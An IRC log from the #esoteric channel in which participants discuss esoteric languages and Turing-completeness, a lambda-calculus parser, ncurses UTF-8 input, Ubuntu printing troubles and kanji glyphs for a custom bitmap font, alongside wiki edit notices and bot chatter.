17:05:55  And "fly droppings" is a general term for all of them hth
17:10:06  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45385&oldid=45384 * Luis Mendo * (+33) 
17:10:48  stand still, stay silent sure takes its time to get started...
17:15:27  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45386&oldid=45385 * Luis Mendo * (+42) 
17:19:59  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45387&oldid=45386 * Luis Mendo * (-217) 
17:22:31  Are you reading the archives or something? 
17:24:32  I like the bits that are in Finnish here and there.
17:24:58  (Insert TV Tropes 'Bilingual Bonus' link here.)
17:25:12 * ais523 is disappointed that there haven't been further edits on Three Star Programmer or its talk page
17:25:17  I was quite proud of that language
17:25:29  oh well, I guess I'll have to wait for Keymaker to notice it, it seems like eir sort of language
17:25:36  what... is this a new language?
17:25:44  it is new
17:26:18  yes
17:26:22  as of a couple of days ago
17:26:26  [[e:Three_Star_Programmer]
17:26:28  err
17:26:29  http://esolangs.org/wiki/Three_Star_Programmer
17:26:34  would help if I got my trigger right
17:30:46  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45388&oldid=45387 * Luis Mendo * (+30) 
17:32:25  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45389&oldid=45388 * Luis Mendo * (-2) /* Specification */
17:32:54  ais523: um, when you ask whether that language is Turing-complete, what are the observables or outputs of that langauge? programs never halt. do you mean with the output extension you describe?
17:33:59  b_jonas: I'm using a loose #esoteric definition along the lines of "given any program in a Turing-equivalent language, you can write a program in «language» that runs in 'the same way' in some easily demonstrable sense"
17:35:27  ais523: right, but that kind of stuff can lead to strange things when you start to make more and more complicated isomorphisms, and eventually the isomorphism itself will run your program
17:35:42  so it might be better to have a clear halt criterion
17:35:43  this is one of the main objections against my 2,3 machine proof
17:36:00  sure, it's the problem with lots of such proofs
17:36:05  although that one does have a clear halt criterion, at least; I found a construction with a semi-infinite tape, where in the halt state it falls off the end
17:36:49  also, you need some limits on what's allowed when you translate the program. 
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18:02:57  oerjan: how do you feel about CHIQRSX9+ being used in code golf competitions? (In particular, in the seven competitions it has a good chance of winning.)
18:05:41  quintopia: I think it also has a decent chance at "make an interpreter for a Turing-complete language"
18:06:04  it'd also do well in an accumulator-incrementing competition, but would at least draw with brainfuck
18:06:29  wait, no, X doesn't work like that
18:06:33  it just makes the language TC in a nonspecified way
18:08:14  b_jonas: any opinions on how the infinite Four Horsemen ruling affects TC M:tG games?
18:08:40  actually it probably doesn't, unless randomness is involevd
18:09:00  ais523: what is that ruling?
18:09:39  link?
18:09:44  b_jonas: that with any infinite loop, you have to be able to specify the number of iterations it takes and the expected end state, or you can't continue going round it
18:10:22  this Reddit thread contains good discussion, and the story it links to complains and quotes the rule itself: https://www.reddit.com/r/magicTCG/comments/11k00n/id_like_to_make_awareness_of_a_stupid_ruling_that/
18:10:55  in this case you can't specify the number of iterations and the expected end state, assuming you're simulating an unsolved problem
18:11:02  but you also can't do anything else
18:13:30  ais523: um, isn't that ruling about tournament rules (avoiding slow play) rather than comprehensive rules? I might be misunderstanding it
18:13:38  b_jonas: yes, tournament rules
18:15:11  If it's about tournament rules, then it can't affect turing-completeness in the sense we were talking about, because clearly setting up a full computational device isn't possible in a tournament anyway, and I already knew that.
18:16:05  ais523: How do you feel about it? Should it be forbidden? (Though I really want to know how oerjan feels about it, since it's his.)
18:16:59  quintopia: well PCCG stack exchange has a rule that the language has to have a certain amount of power, and the usual test is being able to implement one specific program (something to do with printing primes, I think?) withotu cheating
18:17:16  I don't think CHIQRSX9+ can handle that deterministically, with the standard definition of X
18:17:32  although I guess X makes it TC by definition, so it should count 
18:17:46  ais523: being turing complete might not be enough
18:17:56  for the golf SE rulings that is]
18:18:16  yes, their definition is intentionally designed to allow relatively powerful sub-TC languages
18:18:24  but may accidentally disallow some TC languages as a result
18:19:26  ais523: that might not be an accident
18:19:51  possibly
18:19:55  if it's the kind of TC language where you need a stellar size program to print anything useful with high probability, then they could disallow it
18:20:11  like, a TC esolang that is designed to be almost impossible to program,
18:20:19  and not just to the level Malbolge does it, but more
18:20:21  something like http://esolangs.org/wiki/DownRight is probably disallowed due to not having any form of IO and programs typically being very large
18:20:41  b_jonas: Three Star Programmer? :-P, although that's more just impossible to think about
18:20:43  or I find it so
18:21:19  I don't know, I don't think three-star programmer is like that
18:21:46  have you tried to write a program in it?
18:21:49  I have, I didn't get anywhere
18:21:55  no, but I also don't know if it's turing complete
18:22:02  it's like, normally when you're writing a program
18:22:12  you start off by defining how or where you're going to store the various bits of data
18:22:18  three star programmer just completely defies tha
18:22:20  *that
18:22:21  if you figure out that it's turing complete, you can probably also write programs in it that are only a few times as much verbose as brainfuck or something
18:22:36  unless it has obstructions regarding to what IO you can do
18:22:40  you /have/ to keep moving your data around during the life of the program, and yet you also /have/ to use hardcoded cells
18:23:20  ais523: yes, it sounds difficult, but not in the sense of difficult _after_ you prove it turing complete
18:23:37  but difficult in the sense of how Malbolbe was difficult before people figured out how to write programs for it easily
18:23:40  well yes, but the proof would presumably be constructive
18:23:45  I don't think it's as hard as Malbolge
18:23:56  I do, however, find it hard to think about
18:23:57  I'm not sure it's TC though
18:24:03  (Malbolge is easy to think about, just makes it hard to do things)
18:24:05  right, that makes it a good esolang
18:24:08  um
18:24:13  I'm not sure it's TC either, though, but it hits all the normal notes to make a language TC
18:24:16  makes Three Star Programmer a good esolang
18:24:30  I'm much more confident that 3* is TC than, say, Xigxag
18:24:40  (which is my go-to language for "almost certainly not TC but it's very hard to prove that")
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18:24:52  Xigxag... I have to read this one
18:25:06  http://esolangs.org/wiki/Xigxag
18:25:12  right
18:25:15  found it
18:25:43  ais523, what's this 3* thing
18:26:07  Xigxag sounds like bitwise cyclic tag, only worse
18:26:10  Phantom_Hoover: http://esolangs.org/wiki/Three_Star_Programmer
18:26:20  b_jonas: nah, it's more like self BCT but ten times less powerful
18:26:35  yep
18:26:49  plus it needs a stop criterion
18:27:19 -!- boily has joined.
18:27:44  xigxag looks fun
18:28:58 -!- copumpkin has joined.
18:30:34  weird. upgraded firefox (and ubuntu incidentally) on my laptop, and now it freezes after a few seconds...
18:31:03  firefox, or the entire laptop?
18:31:10  either way, it sounds like a bug related to the upgrade
18:31:21  or to ubuntu
18:31:27  only firefox.
18:31:53  and now my keyboard layout is US, for no apparent reason.
18:31:59  what the fungot is going on...
18:32:17  fungot?
18:32:17  ais523: or the law does. :-p heh, i drew this stuff, base-10 addition is harder than it needs to
18:32:25  oh, you must have hit the rate limiter
18:33:16  let's reboot and hope for the best...
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18:34:15  ais523: Xigxag also sort of reminds me to http://esolangs.org/wiki/McCulloch's_second_machine because that one can also sort of copy stuff from the left of the string or the right of the string, although I don't think they're really similar.
18:36:14 -!- boily has joined.
18:38:39  still happening. much joy.
18:40:55  (firefox:6603): GStreamer-WARNING **: External plugin loader failed.
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18:49:43 -!- pikhq has joined.
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18:55:24  swapped the flash plugin from 'flashplugin-installer' to the pepper one. seems to have fixed the problem.
18:56:01  talked too fast. still freezes. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGHGHGHGHGHGH.
18:56:48  just don't flash
18:57:49  ack
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19:09:40 <\oren\> just get a second computer and run flash on thst
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21:50:37  Can you tell me why it still does not print?
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22:07:42 <\oren\> zzo38: what doesn't print?
22:09:58  Is λx.(λx.xy)(λy.xy) a valid λ-term?
22:10:58  \oren\: I used the command:    dvipbm -E fontfinder < texput.dvi | foo2zjs -z2 | lp     but it will not print. It add into the print queue, it looks like a valid PJL and ZjStream, and the printer is HP Laserjet P1102w and is recognized by the computer.
22:11:11  But, it will not print; the lights don't blink or anything else like that.
22:11:37  (The output of dvipbm is also valid; I checked that too.)
22:11:53  I /think/ it is, but it isn't working with my parser.
22:12:09  Can anyone confirm that I'm the one who screwed up?
22:16:22  hppavilion[1]: err, the first y doesn't refer to any of your lambdas; it's "valid" if you allow scope and if you allow that to be an open term (i.e. to have un-lambda's variables)
22:16:25  but it's not a closed term
22:16:43  > \x -> (\x -> x y) (\y -> x y)
22:16:45       No instance for (Typeable t0)
22:16:45         arising from a use of ‘show_M539493718582421214228727’
22:16:45       In the expression:
22:16:52  oh right, lambdabot has y pre-defined
22:16:55  :t \x -> (\x -> x y) (\y -> x y)
22:16:56  ais523: I just need to know if it's syntactically valid for my parser
22:16:56  (Expr -> r) -> r
22:17:04  hppavilion[1]: that depends on what language you're parsing
22:17:08  "lambda-calculus" is too general
22:17:35  ais523: Traditional λ-calculus (with some assignment, though that's not yet relevant)
22:17:53  hppavilion[1]: in that case it's a valid open term but not a valid closed term
22:17:56  which are you parsing?
22:18:37  ais523: Not sure.
22:19:00  I'm just following the three rules for Lambda terms Wiki gives me
22:19:25  https://en.wikipedia.org/wiki/Lambda_calculus#Lambda_terms
22:20:10  Open terms, I think? If you're referring to the fact that there's an unbound "y" in there then open terms
22:20:12  OK, it's valid under those rules
22:20:22  and yes, open terms are terms that contain free (=unbound) variables
22:21:05  Ah
22:21:06  OK
22:21:21  It looks like the parser is working now
22:21:30  On a different test term
22:21:34  Now testing it with that one
22:22:48  Huh
22:23:09  It doesn't crash, but it doesn't parse the second part of the application (λy.xy)
22:23:26  I get the same thing I would get if parsing λx.(λx.xy)
22:23:57  Luckily, I think I know why
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22:35:32  OK, it's working better now. Still not perfect, I'm sure, but improved
22:36:20  after some voodoo incantations, beta Firefox 43 may work...
22:36:50  OK, temporary bug, but λx.G(λx.xy)(λy.xy) is different from λx.(G)(λx.xy)(λy.xy)
22:36:57  (G is a named λ-term)
22:38:37 -!- ais523 has quit.
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22:42:00  There we go. Now I can assign things.
22:43:57  Do you know how to do printing on Ubuntu?
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22:47:59  I used to get all light blinking when trying to print a PCL file, but now it does nothing regardless of the format, and usb_printerid doesn't work anymore either.
22:51:57  usb_printerid used to work but now it doesn't work.
23:09:22  At least that works now, but now I just get the lights blinking again even with ZjStream format
23:19:33  Parser is now working, barring maritime disasters
23:19:47  Wait, no
23:22:20  THERE we go
23:22:21  I hope
23:25:49  It can parse S(BBS)(KK) properly, so it should be working
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23:54:24  is anyone here a (n)curses expert?  i just need to read a utf8 character
23:58:49  Remember to setlocale(LC_ALL, ""); is all I can say.

2015-11-15:

00:00:05  let me try :o
00:01:29  (There's also ncursesw.)
00:03:47  (Just to clarify, those were not alternatives. I know you have to initialize the locale in any case; I'm less sure about whether you can get by with non-w ncurses in an UTF-8 locale or not.)
00:04:26  i used -lncursesw and setlocale but getch() still splits è
00:05:18  That's because the corresponding wide-character function is get_wch.
00:05:32  ooh
00:05:35  thanks!
00:06:16  izabèllora!
00:06:19  The naming is ridiculous, because 'w' is both for wide and 'window', and I don't think it's not entirely consistent throughout.
00:06:37  Although generally 'w' as the first letter of a function name is probably for 'window'.
00:06:37  belloily :)
00:07:00  yeah fizzie i noted that wgetch is totally not what i wanted <.<
00:09:35 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
00:24:31  I'm on a post-birthday book buying spree
00:24:39  Any recomendations?
00:30:06  what kind of books are you buying?
00:31:25 <\oren\> Man and the Computer by John Diebold
00:32:05  dnd for dummies
00:35:21 -!- heroux has quit (Remote host closed the connection).
00:35:30 <\oren\> Man and the Computer is great because it offers a perspective on the infancy of Computer Science, written in 1969.
00:36:16 -!- heroux has joined.
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00:59:33  Do you know how to set the margins properly when printing a PBM file with CUPS?
01:00:23  It turns out I needed to send the PBM file directly to lp/lpr rather than sending the ZjStream file.
01:30:24  I got it to work now
01:38:49 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
01:49:46 <\oren\> wow japanese people really dont give a shit about political correctness
01:49:50 <\oren\> http://www.bbc.com/news/blogs-trending-34460325
01:50:00 -!- doesthiswork has joined.
01:59:14  but why did they change the background
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02:17:22 * boily lightly mapoles fungot
02:17:22  boily: your snapshot seems to work in an interpreter
02:17:55  fungot: my snapshot works, but I'm afraid it's only a temporary solution to a poissonny problem.
02:17:55  boily: is busser your last name by any chance
02:18:05  fungot: no, it's Boily.
02:18:05  boily: all the ( )s i had carelessly written in evaluated positions.
02:18:19  fungot: you like to parethesise dangerously.
02:18:19  boily: 1.5. it might not.) well, normally it varies slightly more detail.
02:18:48 * boily *THWACKS* fungot. “BALANCE YOUR PARENTHESES!”
02:19:27  fungot: it's something to do it recklessly, but you may never unbalance them! it's uncouth, and may break the Universe!
02:19:42  )
02:20:06  hey fizzie are you around?  thanks for the help, but i'm having problems with get_wch + iswprint
02:20:38  when i press backspace, get_wch reads 263 and iswprint(263) is true
02:20:41 * boily glares at pikhq... ”just you wait, you miserable miscreant!”
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02:24:30 <\oren\> ((
02:24:39 <\oren\> ))
02:24:44 <\oren\> ((
02:24:45 <\oren\> ))
02:24:51 <\oren\> ]
02:24:52 <\oren\> [
02:24:55 <\oren\> []
02:24:56 <\oren\> ][
02:25:05 <\oren\> []
02:25:08 <\oren\> ][
02:25:13 <\oren\> []
02:25:15 <\oren\> ][
02:25:17 <\oren\> []
02:25:26 <\oren\> howzat?
02:25:43  *twitch*
02:25:54  that's nice fsvo nice
02:26:41  \oren\: don't be surprised if the clouds part open and your computer is struck by a Divine Curly Brace of Balance Retribution.
02:44:38 -!- adu has joined.
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03:06:47  curses is hard :(
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03:21:56  I'm more of a blessings person
03:22:50  HireFly is pretty fun to say.
03:23:18  Jokes aside, another alternative is libtickit.. I haven't used it, but knowing the author of it a bit I think one could expect it to be pretty decent, at least on the terminal communications side of things
03:23:30  Hopefully also API-wise
03:23:43  shachaf: HireFly is also pretty good advice to companies imo
03:23:50  especially this fly
03:23:57  You're a fly?
03:24:04  I didn't realize.
03:24:06  At least on IRC
03:24:29  Well, a firefly
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04:06:03  FireFly: stahp channel stalking me
04:06:11  ehm what
04:06:34  I didn't even realise you're in here :p
04:06:35  you're like in most of the channels I'm in
04:06:41  nor I you D:
04:06:44  `relcome nchambers
04:06:45  ​nchambers: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
04:07:14  wai you do this?
04:07:19  I've been here on-and-off awhile
04:07:23  now I need to join more networks
04:07:29  but I'll do it later
04:09:31  FireFly: join #irp
04:11:17  oh
04:11:26  i was hoping that would be a channel for discussing political economy
04:11:44  mark twain wrote about political economy
04:11:49  http://www.twainquotes.com/Galaxy/187009a.html
04:12:17  no this is cooler
04:12:22  how is shachaf pronounced?
04:12:40  I'm pronounced?
04:12:47  I try not to be.
04:12:49 * adu doesn't know
04:13:20  @google shachaf pronunciation
04:13:20  http://forvo.com/word/shachaf/
04:13:21  Title: Shachaf pronunciation: How to pronounce Shachaf in Hebrew
04:13:22  like that
04:15:48  shachaf: I still don't know how to pronounce that, even after hearing it, so I'm going to call you "Seagull"
04:16:05  You don't need to pronounce my name to type it.
04:16:19  I need to pronounce it to think it
04:16:28  and I need to think it to type it
04:16:48  but you're right, I could just do s
04:17:18  SireFly
04:18:17  https://en.wikipedia.org/wiki/Shahaf
04:18:36  it's a nice name
04:21:51  It's one of the fun 'uns.
04:22:10  a few good names
04:23:54  Jafet: sha 'haf makes no sense hth
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04:42:54 <\oren\> shakhaf is the least misunderstandable spelling
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05:24:09  argh windows rebooted without my permission and lost all my tabs
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07:19:00  hm my computer claims it has no network access
07:19:58  your computer is correct hth
07:25:54 <\oren\> you can probably find your tabs in your browser history
07:26:20 <\oren\> is Marine le Pen an aquatic rabbit?
07:27:27  OKAY
07:28:02  \oren\: the problem is that all the ones i cared about had been open for days
07:28:07 <\oren\> '? OKAY
07:28:11 <\oren\> `? OKAY
07:28:12  OKAY? ¯\(°​_o)/¯
07:28:35  i'll probably remember those i'm meant to.
07:28:38  `ÒKAÝ´
07:28:39  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ÒKAÝ´: not found
07:28:42  oops
07:29:01  i have tabs that have been open for months hth
07:29:05  probably years, actually
07:29:17  i've moved my browser session between computers and between browsers
07:29:25  but i'll get to them any day now, i'm sure
07:29:29 <\oren\> I usually bookmark things and then close them
07:29:45 <\oren\> or download the page and look at it later
07:30:16  if i bookmark things, i never look at them again tdnh
07:30:18 <\oren\> I have two tabs open right now
07:30:25  (not entirely true)
07:30:57  anyway, when i keep a tab open it's frequently because i want to remember my precise place in it.
07:31:21  oerjan: also if i tab things
07:31:35  [wiki] [[Special:Log/newusers]] create  * SarahNathanson *  New user account
07:31:35 <\oren\> Oh, right, those god damn autoscrolling websited
07:31:55 <\oren\> I have boycotted sites for doing that
07:32:39  actually mostly which comment in a thread i was reading...
07:33:09  the github browser won't start again after the reboot :(
07:35:29 <\oren\> what's a github browser?
07:35:41 <\oren\> did they fork googe chrome or something?
07:36:07  i mean app
07:36:29  i assume it couldn't take windows hard killing it
07:36:46  [wiki] [[EmojiCoder]] N http://esolangs.org/w/index.php?oldid=45390 * SarahNathanson * (+183) EmojiCoder is a language programmed in emojis
07:38:33  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45391&oldid=45390 * SarahNathanson * (+1678) added reference
07:38:41 <\oren\> oh. yeah when I used that, I had to keep reinstalling it
07:39:22 <\oren\> it gets itself into a garbled state and then I'm too lazy to figure out how to fix it
07:39:57  ouch :(
07:40:28 <\oren\> have you tried the command line git?
07:40:32  [wiki] [[EmojiCoder]] M http://esolangs.org/w/index.php?diff=45392&oldid=45391 * SarahNathanson * (+31) /* Commands */ spacing
07:40:45  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45393&oldid=45392 * SarahNathanson * (+0) /* Modifers */
07:41:07  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45394&oldid=45393 * SarahNathanson * (+3) /* Parameters */
07:41:22  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45395&oldid=45394 * SarahNathanson * (+3) /* Variable Reference */
07:41:22  well i hate remembering heaps of cli options
07:41:28  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45396&oldid=45395 * SarahNathanson * (+1) /* Comments */
07:41:35  at least the shell started
07:42:27  ouch it claims .git is not a repository :(
07:42:35  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45397&oldid=45396 * SarahNathanson * (+23) formatting
07:43:03  I think you're supposed to be outside the .git directory, within the directory that contains .git
07:43:16  oh wait i'm in the wrong place
07:44:18  FireFly: that's why i ln -s .git .git hth
07:44:27  what kind of shit color scheme is this
07:45:08  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45398&oldid=45397 * SarahNathanson * (+746) 
07:46:09  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45399&oldid=45398 * SarahNathanson * (-6) /* Examples */
07:46:58  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45400&oldid=45399 * SarahNathanson * (+52) 
07:47:52  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45401&oldid=45400 * SarahNathanson * (-28) 
07:48:57  i cannot read the important info because git insists on using dark red on dark blue
07:49:39  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45402&oldid=45401 * SarahNathanson * (+143) 
07:50:51  ok time for that reinstall
07:52:33 <\oren\> oerjan: oh right that god damn color scheme
07:59:59  i think i'll assume i actually hav to reboot again ...
08:05:29  ok there i got it wiped out...
08:11:03  oh right it takes stupidly long to download
08:12:39  hm...
08:13:06  let's try something else.
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08:54:31  isn't it funny to love programming in the abstract, yet hate actual computers.
08:55:06  because, murphy's law + yak shaving
08:57:41 <\oren\> yah. I like coding but I hate a lot of other people
08:57:43 <\oren\> s code
08:57:56  dammit, am i having disk trouble...
08:59:05  the surrounding windows desktop crashed...
08:59:55  it seems to be gradually coming back
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09:00:51  holy shit ...
09:02:08 -!- GoToTell has joined.
09:04:23  that screamed for yet another reboot, the desktop menu was blinking...
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09:42:48 <\oren\> ooh, I hope you have everything backed up
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14:35:34  fungot: nostril.
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14:48:44  no stril
14:55:09  `? stril
14:55:10  stril? ¯\(°​_o)/¯
15:02:33  [wiki] [[EmojiCoder]]  http://esolangs.org/w/index.php?diff=45403&oldid=45402 * 129.161.146.231 * (+96) 
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15:11:12  `le/rn ENOSTRIL/Nose such file or directory
15:11:16  Learned «enostril»
15:11:39  `rm wisdom/enostril
15:11:41  No output.
15:11:51  `` echo "Nose such file or directory" >wisdom/ENOSTRIL
15:11:54  No output.
15:26:57  `wisdom stril
15:26:58  find: `wisdom/*stril*': No such file or directory \ /cat: : No such file or directory
15:27:16  `wisdom [sS][tT][rR][iI][lL]
15:27:17  find: `wisdom/*[sS][tT][rR][iI][lL]*': No such file or directory \ /cat: : No such file or directory
15:27:28  `wisdom STRIL
15:27:29  ENOSTRIL/Nose such file or directory
15:36:55 <\oren\> mornrng
16:00:24 <\oren\> ENOLEDGE
16:00:36 <\oren\> ENOWLEDGE
16:00:37  \hellornrn\
16:05:47 <\oren\> hoily
16:13:32 <\oren\> AAAAAAA
16:14:08 <\oren\> やっぱり「量」はむりだ
16:17:21 <\oren\> that kanji has nine horizontal lines in it, and I have 16 pixels.
16:18:03 <\oren\> the white spaces between lines take up 8 pixels, so that kanji needs 17 pixels!!!?!!?
16:20:24  \oren\: heh, http://int-e.eu/~bf3/tmp/9lines.png
16:21:36 <\oren\> ok that is surprisingly legible
16:21:59 <\oren\> I guess I'll squeeze two of the lines together
16:25:18  do you have 童?
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16:43:04  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45404&oldid=45389 * Luis Mendo * (+320) /* Specification */
16:43:57  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45405&oldid=45404 * Luis Mendo * (+87) /* Specification */
16:45:17  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45406&oldid=45405 * Luis Mendo * (+106) /* Compiler */
16:45:42  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45407&oldid=45406 * Luis Mendo * (-7) /* Compiler */
16:47:00  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45408&oldid=45407 * Luis Mendo * (-1) /* Specification */
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16:50:52  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45409&oldid=45408 * Luis Mendo * (+26) /* Specification */
16:51:07  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45410&oldid=45409 * Luis Mendo * (+3) /* Specification */
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17:10:53  did you know that errno must be thread local so &errno is a unique identifier for each thread?
17:12:47 -!- variable has joined.
17:15:20  izabera: yes
17:15:31  izabera: although in reality it's a macro, not a thread-local variable
17:15:54  becuase first class thread-local variables supported by the language (rather than by libc) are rather new technology
17:17:31  a macro that usually expands to dereferencing a pointer returned by a call to a libc function, like *(__errno_location())
17:19:45  i like learning
17:19:48  this chan is good
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18:04:38  Whoa, that's interesting
18:04:47  By which I mean the discussion that happened just under an hour ago
18:14:23  Taneb: can you give me a tab character please
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18:15:36  Isone?
18:15:47  Ah
18:15:50  looks legit
18:15:51  quintopia, I am afraid I cannot
18:15:56 <\oren\> ` echo -e '\t'
18:15:57  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
18:16:01 <\oren\> `` echo -e '\t'
18:16:02  No output.
18:16:18 <\oren\> `` echo -e 'foo\tbar'
18:16:19  foobar
18:16:22 <\oren\> FUCK
18:16:40  You did sent tab characters
18:17:05 <\oren\> well it isn't showing as a tab in irssi
18:17:28  yeah
18:17:34  it's a reversed I
18:17:38  and copies as an I
18:17:56  ...
18:18:01  Isn't I symmetrical?
18:18:46  color-reversed
18:18:53  reverse video as they say
18:18:54  Aaaah
18:19:29  In this client it shows as black on purple (normal text (in a IRC long parameter) being blue on black)
18:19:33  I'm prettyt sure I have a tab on my clipboard now
18:20:04  What operating system are you using? Depending what it is there can be better way
18:20:58  win10
18:21:17  In Linux you can use the xclip command. In Windows I expect you could go into Notepad and then push tab and copy to clipboard
18:23:29  Yes, that's how I got mine on Win7
18:23:35  yeah but I had only Notepad++ open and I have it set to give spaces instead of tabs :P
18:23:36  izabera: hmm. "The result of attempting to indirectly access an object with thread storage duration from a thread other than the one with which the object is associated is implementation-defined" -- I guess this means that an implementation may use the same address for all errno-s. (but as far as I can tell, gcc doesn't do that)
18:24:26  could someone go to the aubergine article and check that there is a tab character at the end of the quine example?
18:24:52  None for me
18:25:00  HTML does weird things with spaces
18:25:21  dammit. i think it's stripping the tab somehow
18:25:24  it used to be there
18:25:31  once upon a time
18:26:36  Is it still the predecessor of a quine?
18:26:54 <\oren\> maybe just put the hex dump of the quine
18:27:08  it prints its listing...and crashes the interpreter. with the tab at the end it halts successfully
18:28:11  It's the wiki software that's stripping the tab, not the browser
18:28:14  lemme try a thing
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18:28:34  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45411&oldid=45373 * Quintopia * (+1) /* Examples */
18:28:43  Nice
18:29:01  Apparently, it just blindly trim()s the submission
18:29:16  Yeah, there's some sort of space character on that that is either a tab or a double-width space
18:29:19  I need to edit the whole Examples section instead of just the quine subsection to ensure it stays
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18:30:24  Oh I know how to ensure no one breaks it again
18:31:09  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45412&oldid=45411 * Quintopia * (+99) /* Quine */
18:31:43  Now it's not whitespace at the end of the section, so even if the section is edited, it won't be trimmed
18:36:44  ANOTHER attack in paris??
18:37:03 <\oren\> I added the following characters:
18:37:05 <\oren\> 双匁叔叙味呼哀哲在坑坊埋垣寺少帰広店弱
18:37:06 <\oren\> 用強朝楽歌毎毛活海父番科答算
18:37:17  Those are characters which I do not have
18:37:22 <\oren\> 紙細組絵線考船親角計記話語読買走近通週道遠
18:37:23 <\oren\> 重野量雲頭顔風首肺管腹膵臓脾
18:37:42 <\oren\> izabera: wait what
18:39:08 <\oren\> I don't see any news abaut an attack toady
18:41:59  \oren\: nice, so you added that character with nine lines
18:42:21 <\oren\> izabera: or did you not hear about the Friday attacks until today?
18:42:27  \oren\: I also see you've added the other kana repeat marks
18:42:50 <\oren\> yah
18:43:16 <\oren\> and I added the medical kanji that boily requested
18:43:25 <\oren\> 臓 was hard
18:44:15 <\oren\> oh apparently there was a flase alarm of gunshots today
18:44:23  I find a headline about a panic in Paris today, connected to a bang, but no concrete information yet.
18:44:58  \oren\: by the way, I wonder if you should make 一 and ー more easily distinguishable, because both those characters are common, so that could help proofreading Japanese text
18:47:34 <\oren\> hmm good point.
19:01:38  I know they actually do look the same in some fonts, but still
19:04:38  \oren\: question. how many such Hanzi do you have in the font that are not used in Japanese or are very rare in Japanese? and how do you choose those Hanzi? Have you read enough Chinese to know what characters are common, or have someone else requested them?
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19:17:59 <\oren\> b_jonas: I have sevearl that are easy to draw, and some that were requested
19:19:20  I see
19:20:05 <\oren\> also in a few cases a character is in the Joyo kanji list but its radical isn't, but I drew the radical any way
19:27:19  ok
19:28:44 <\oren\> 丽 is not a joyo kanji but 麗 (which I haven't drawn yet) is
19:29:16  I see
19:31:35 <\oren\> on the other hand 卍卐 are just easy to draw
19:32:43  just draw a white square instead of the second kanji. nobody will ever see the difference
19:33:33  \oren\: how about 儿 ? that was the one that made me ask this question, because you've added it very early
19:34:22 <\oren\> that one I happen to know is used a lot in mandarin for "erhua" after a word
19:34:34 <\oren\> also, it's easy to draw
19:34:44  yes, I guess being a radical and being easy to draw has some correlation
19:35:16 <\oren\> myname: why?
19:35:33  myname: you can see it in oren's font in http://www.orenwatson.be/fontdemo.htm
19:39:34  [wiki] [[Aubergine/aubergine.py]] N http://esolangs.org/w/index.php?oldid=45413 * Quintopia * (+3953) Created page with "This is an implementation of [[Aubergine]] in Python by [[User:Quintopia]]. There are no frills or flags to make debugging easier, though error messages are fairly robust. Int..."
19:41:43 <\oren\> oh... maybe some fonts omit 卐 because of association with the Nazis
19:42:12  \oren\: or maybe the fonts just don't have all the uncommon characters
19:42:19 <\oren\> (I was unaware the nazis used one particular orientation)
19:43:41  \oren\: people keep saying that they used one particular orientation, but since they used that symbol on flags, on many flags you'd see either orientation depending on the side you're watching from, so it's probably just vexillogy pedants that say this, and in practice you'd see either orientation
19:44:14  Sure, maybe you'd see one orientation in official documents printed by the nazis, but it's not like people don't associate both orientations with them.
19:44:29  (hmm, is there an arrow-cross hanzi too?)
19:45:49  [wiki] [[Aubergine/aubergine.py]]  http://esolangs.org/w/index.php?diff=45414&oldid=45413 * Quintopia * (+175) Ruby impl does not allow o except in =
19:48:15 <\oren\> I see. I don't see a character for the arrow cross in the wikipedia article.
19:48:37  Nazi are using diagonal orientation, I think
19:49:35  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45415&oldid=45412 * Quintopia * (+77) /* Implementations */
19:50:15 <\oren\> zzo38: true, but I meant the orientation like which way it spins
19:51:11  zzo38: diagonal orientation would look strange in a kanji
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20:02:02  I know it is strange in the kanji, but the diagonal orientation is not the kanji and therefore need not be included in a kanji font.
20:03:59 <\oren\> I don't think it even has a code point
20:06:42  \oren\: sure it has one. unicode has all kinds of crazy emoji and symbols these days
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20:30:00  patashello
20:30:04  don't see you much here anymore
20:41:03  Whether or not it has a code point defined in Unicode, you can optionally include it in a font or not; if you are using Unicode encoding of the font and you include such things which aren't defined in Unicode then you will need to assign your own numbers (such as using the Unicode private use area)
20:43:22  sure
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20:53:51 <\oren\> heh. 商 looks like aguy wearing a hat shouting
20:54:37  Is there a canonical example for a language that is not regular but has the pumping property? The simplest I have so far is strings over {a,b} that contain the same number of a-s and b-s, and furthermore do not contain aaa nor bbb as a substring.
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20:59:07 * int-e is working with this "general" version of the pumping lemma: https://en.wikipedia.org/wiki/Pumping_lemma_for_regular_languages#General_version_of_pumping_lemma_for_regular_languages
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21:49:16  My λ-parser works :)
21:56:10  Nice
21:59:43  Does Combinatory Logic associate right or left?
21:59:59  e.g. is SKI equal to S(KI) or (SK)I?
